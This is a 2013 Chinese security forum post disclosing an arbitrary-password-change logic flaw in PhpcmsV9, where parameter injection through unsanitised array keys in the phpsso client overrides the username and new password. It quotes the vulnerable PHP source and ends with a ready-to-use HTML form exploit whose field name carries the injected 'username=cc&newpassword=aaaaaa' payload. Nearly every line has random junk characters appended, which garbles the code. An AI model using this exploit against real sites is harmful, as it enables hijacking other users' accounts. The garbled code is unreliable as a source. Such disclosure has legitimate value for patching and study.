找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1912|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:8 D" V# r! r5 C

6 K6 F0 @3 s/ e$ I4 \( e/ R/ Q
: M% C! p$ D7 Iparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);) e; E2 @# n5 q* P% d9 x5 j
( V. R3 B4 M6 S1 p! J) i( n/ j
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
. s  ~- N( J8 u' Z; L" L/ t+ w8 C" u. L. q9 J5 k. v
我把它留给了你们。
, E2 L) Z2 n' s- @# r不知道你们发现了它没有。
: P) M" {/ p9 M% z3 m# T) e
' D8 W% l9 D8 c9 H* d7 M8 b我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( {0 E) a# o; j

. `+ R# f( t6 w所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
6 a# S: q& Z1 a: w4 f
  R  [, q) v1 I) [也就是3 y! K# p+ B" n* B3 A6 W) m/ Y

0 J4 w4 p* x' D, jusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 T. z8 D- k, n, Y

1 V5 s  q, C" `! i) k3 D5 w要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。- C2 K8 w! o& I7 F4 a5 ]$ O

7 v6 Y2 k: P! L7 g" i7 L
* @# b4 R& A4 o! x) `9 u8 y其实我们有这样的机会,看看代码,如下:
$ s  q' N- d* _4 ]8 W9 L/ H: C$ ?& c" @% a9 A

/ O, j3 _1 r, `- spublic function auth_data($data) {
. R6 R" J% c! `& e                $s = $sep = '';
# g6 @! G* F& _                foreach($data as $k => $v) {
$ a6 S6 `! |  T: m! q7 f, j                        if(is_array($v)) {
; S$ D/ X' U" n9 k( L+ ]7 {                                $s2 = $sep2 = '';
/ \9 r# X  V$ {9 X& C                                foreach($v as $k2 => $v2) {' a8 \* y5 [+ d5 T
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);# v* V& }% x2 U1 ?! \6 z7 `+ a3 Q; f
                                        $sep2 = '&';
* ^0 ~# K% z8 A5 ^) {. R8 }' C                                }8 I+ ?- s. A# }+ m
                                $s .= $sep.$s2;
, k  x$ x4 W" Z' l4 C8 l# u, k                        } else {! e* h6 t( o0 E) b3 V
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
6 x& e* Q+ K3 r7 m- p5 E                        }
' R& O% E9 O# `5 `0 r4 l9 _                        $sep = '&';
: ?! i- V5 v- i/ J0 a                }
' Q. K  b' l1 M6 O! ~
* M+ u' X) z8 N                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));3 y9 z8 T+ s6 e5 Z1 W
                return $auth_s;% M2 I9 \  D- G# S1 ]* o
        }& f( [; i+ L: z4 _+ W" [2 W

! f3 c$ ^. \9 P. F7 O可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; i. ~/ i& B' N* ?' }, b8 P2 f* a4 |2 Y2 }: i/ @8 z
举个例子- R1 `9 l& B2 P" v5 v+ \, b7 Y
" q+ j& i  D  a  G' n7 b9 o
$a[aaa=a&bbb] = 'a';2 t9 N' z1 i7 d

/ Z* e4 O8 _8 F% q会变成aaa=a&bbb=a, z, w8 l: ]' O6 L) T+ Y, N# }
% o  ~1 \( e; _
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
' a& t; D: d5 B/ \+ @. ?- y, R* i
这个时候,我们可以再去看一个函数。
) i: R' w! ~/ z( E+ B8 D" ~
+ v& C: z* j- N" s+ f, ]8 M. \9 l% q就在这个文件内:
2 R) U% d$ v/ B, i  X
0 N% ^: X2 ~/ d$ x5 l+ E- B- j
6 Y  [4 ^+ r' Vpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
6 k9 g0 P; I" n8 O                if($email && !$this->_is_email($email)) {9 X) J8 _) t, p6 c% @1 b% F
                        return -4;2 z5 \" u1 R  b; ]: |7 v0 f
                }% P% Q; ~6 x, D6 O" `
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));) H' ^- |2 `" m. s6 C$ [* J
        }. ^' [2 G# W( V3 I- [% V1 O
' b' I1 T. e5 h0 ^- [+ g
这是向通行证发了这样一个请求。
& p0 J, i" u4 g5 a$ f/ X+ j7 y, |9 ~/ }( `6 u
我们再跟到通信证代码里去看看,就会有所发现。/ K! `* {* f5 j1 }/ N" e' y

: I2 P6 ?4 d6 z# E8 d+ _) Y9 ]# X3 N2 q" Q" V" k; D3 ~
public function edit() {
5 P  g2 U9 Q- d0 a% x' ?1 J//能省就省,太长了不是吗?! C) ^" O$ }) o# j

8 y  Y0 P9 x4 M+ k4 U& }if($this->username) {0 {  `8 g! [, v
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
" ~% s  Q) `  X9 q4 K                                $res = $this->db->update($data, array('username'=>$this->username));4 n8 I- Y- F9 M3 A
                        } else {
( z6 q, ?+ J5 H* x9 f7 Y" T1 f                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);% \$ ~$ k& M! }( X5 K
                                $res = $this->db->update($data, array('uid'=>$this->uid));
( @( E" r7 m4 P/ ^                        }6 d  U% ^8 v! C; y0 |8 b1 {# [
* ]8 i# S1 N, v7 e" t6 k
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
" A3 P% ~3 Q+ {( W. z* I7 f3 h- v$ k, a7 m1 P' |6 I0 w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
- m2 }" q$ o- t  E6 s, W9 K0 `  M. b3 v; G1 w
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。, |/ i- x  [8 J/ J5 _4 e
( z, _' g8 P) o! y
我当然找到了:& T1 X7 F; {9 P! d! Y9 ~6 d
phpcms9/phpcms/modules/member/index.php) Y. Y1 U) z4 {% l1 j+ Z% O

- P/ z: i2 U9 B9 E) E  U; L! N. d$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);& c4 g2 s/ G& X: I
4 c+ x7 \8 n3 I) o  c
然后就没有然后了。
3 c% Z+ f$ H0 P7 K1 A* {3 d( e$ r! R# c
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">4 _$ X3 G- O; b. V3 i. k2 s
                                <table width="100%" cellspacing="0" class="table_form">$ h9 f. }4 ^; _' u2 a5 Y: V0 n' V
                                        <tr>
. Y3 Z) j; E5 y& x7 Z                                                <th width="80">邮箱:</th>          V; h/ @8 k8 L: V
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>9 M- N( D' N; k: F! Y+ e  z
                                        </tr>! e6 o( i! O& N6 r( n& }
                                        <tr>
; `$ L; I. O, q                                                <th width="80">原密码:</th>          C& d5 N: N0 W5 I' x  j
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
3 M* F' `. y% j7 T& ]7 G! I& Y                                        </tr>
5 s5 G9 l* i' Q& Z1 S9 \4 u                                        <tr>
7 A* A8 c* Q+ m                                                <th>新密码:</th>
9 w9 U1 a3 b. {+ b0 e                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
- ]+ B# z  u5 W& I! a0 z                                        </tr>
" c4 f+ o; ~  b# M; j( J! t                                        <th></th>
# y& N0 h3 J( {% V                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>4 y  Q( u1 s  L/ l* W* O
                                        </tr>
& k3 h& p" V0 q                                </table>8 e( O8 e& P( a' t# ]
7 v: m% c. p% N0 r( C! y
                               
7 V8 g+ o3 r. X0 e                        </form>/ `5 [2 t3 N2 p4 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表